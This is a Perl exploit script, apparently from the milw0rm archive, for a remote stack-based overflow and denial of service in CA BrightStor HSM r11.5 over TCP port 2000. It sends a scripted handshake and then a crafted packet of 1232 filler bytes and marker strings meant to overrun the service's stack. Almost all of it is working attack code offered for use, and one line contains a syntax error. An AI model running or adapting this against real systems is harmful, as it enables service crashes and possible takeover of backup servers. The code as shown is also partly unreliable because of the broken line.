#!/usr/bin/perl
#
# *
# * C@@@@@ O@@@@@@@ C@@@@@ O@@@@@@O C@@@@@@@@@o
# * C@@@@@@@@@@@@@@@@O C@@@@@@@@@@@@@@@@O C@@@@@@@@@@@@@o
# * C@@@@@@o .8@@@@@@. C@@@@@@o 8@@@@@@. @@@@@@O .@@o
# * C@@@@@ @@@@@@c C@@@@@ @@@@@@c C@@@@@c
# * C@@@@@ O@@@@@: C@@@@@ O@@@@@: @@@@@@
# * C@@@@@ O@@@@@: C@@@@@ O@@@@@: 8@@@@@
# * C@@@@@ O@@@@@: C@@@@@ O@@@@@: :@@@@@@ ::
# * C@@@@@ O@@@@@: C@@@@@ O@@@@@: c@@@@@@@Coo8@@@o
# * C@@@@@ O@@@@@: C@@@@@ O@@@@@: C@@@@@@@@@@@@o
# *
# * [0x00001010]
# *
# * Title: CA BrightStor HSM <= r11.5 Remote Stack Based Overflow / DoS
# * For: Windows XP (SP2 Professional) / Windows Server 2003 (Enterprise Edition)
# * Released by: NiceNameCrew [http://nnc.unkn0wn.eu]
# * Author: boecke <boecke@herzeleid.net>
# * Discovery: iDefense
# * Vulnerability Type: Remote Stack Overflow / DoS
# * Risk: High
# * TCP: 2000
# *
# * This body, this body holding me, be my reminder here that I am not alone.
# *
#
use IO::Socket;
$handshake =
"\x14\x00\x00\x00" . # [0x14000000] INIT_BEGIN
"\x42\x00\x00\x00" . # [0x42000000] FX_SET_CONSOLE_CREDENTIALS
"\x07\x00\x00\x00" . # [0x07000000] GUI_FLAGS
"\x00\x00\x00\x00\x00\x00\x00\x00"; # [0x00000000] END
# 0030 ff d1 7b ef 00 00 14 00 00 00 44 00 00 00 07 00 ..{..... ..D.....
# 0040 00 00 00 00 00 00 00 00 00 00 ........ ..
$handshake_auth =
"\x14\x00\x00\x00\x44\x00\x00\x00\x07\x00\x00\x00" .
"\x00\x00\x00\x00\x00\x00\x00\x00";
$handshake_auth2 =
"\x14\x00\x00\x00\x03\x00\x00\x00" .
"\x07\x00\x00\x00\x00\x00\x00\x00" .
"\x08\x00\x00\x00";
$handshake_auth3 =
"\x14\x00\x00\x00\x32\x00\x00\x00" .
"\x07\x00\x00\x00\x00\x00\x00\x00" .
"\x1C\x00\x00\x00";
$handshake_auth4 =
"\x14\x00\x00\x00\x1C\x00\x00\x00" .
"\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";
# List Network Locations
$drives =
"\x14\x00\x00\x00\x0F\x00\x00\x00\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";
# List Computers on Network (MSHOME)
$computers =
"\x1A\x00\x00\x00" .
"\x27\x00\x00\x00" .
"\x07\x00\x00\x00" .
"\x00\x00\x00\x00\x00\x00\x00\x00" .
"\x4D\x53\x48\x4F\x4D\x45" (MSHOME)
$damage =
"\x40\x05\x00\x00\x1D\x00\x00\x00" .
"\x07\x00\x00\x00\x00\x00\x00\x00" .
"\x00\x00\x00\x00" .
"\x41" x 1232 .
"BBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKK" .
"LLLLMMMMNNNNOOOOLOLO" .
"\x41\x42\x43\x44" .
"RRRRSSSSTTTTUUUU" .
"VVVVWWWW" .
"\x2E\x41\x3B" .
"\x00\x00\x00\x00\x00\x00";
if ( $socket = IO::Socket::INET->new( PeerAddr => "127.0.0.1", PeerPort => "2000", Proto => "TCP" ))
{
print $socket $handshake;
recv($socket, $reply, 256, 0);
print($reply . "\n");
print $socket $handshake_auth;
recv($socket, $reply, 256, 0);
print($reply . "\n");
print $socket $handshake_auth2;
recv($socket, $reply, 256, 0);
print($reply . "\n");
print $socket $handshake_auth3;
recv($socket, $reply, 256, 0);
print($reply . "\n");
print $socket $handshake_auth4;
recv($socket, $reply, 256, 0);
print($reply . "\n");
print $socket $damage;
recv($socket, $reply, 256, 0);
print($reply . "\n");
}
# milw0rm.com [2007-10-27]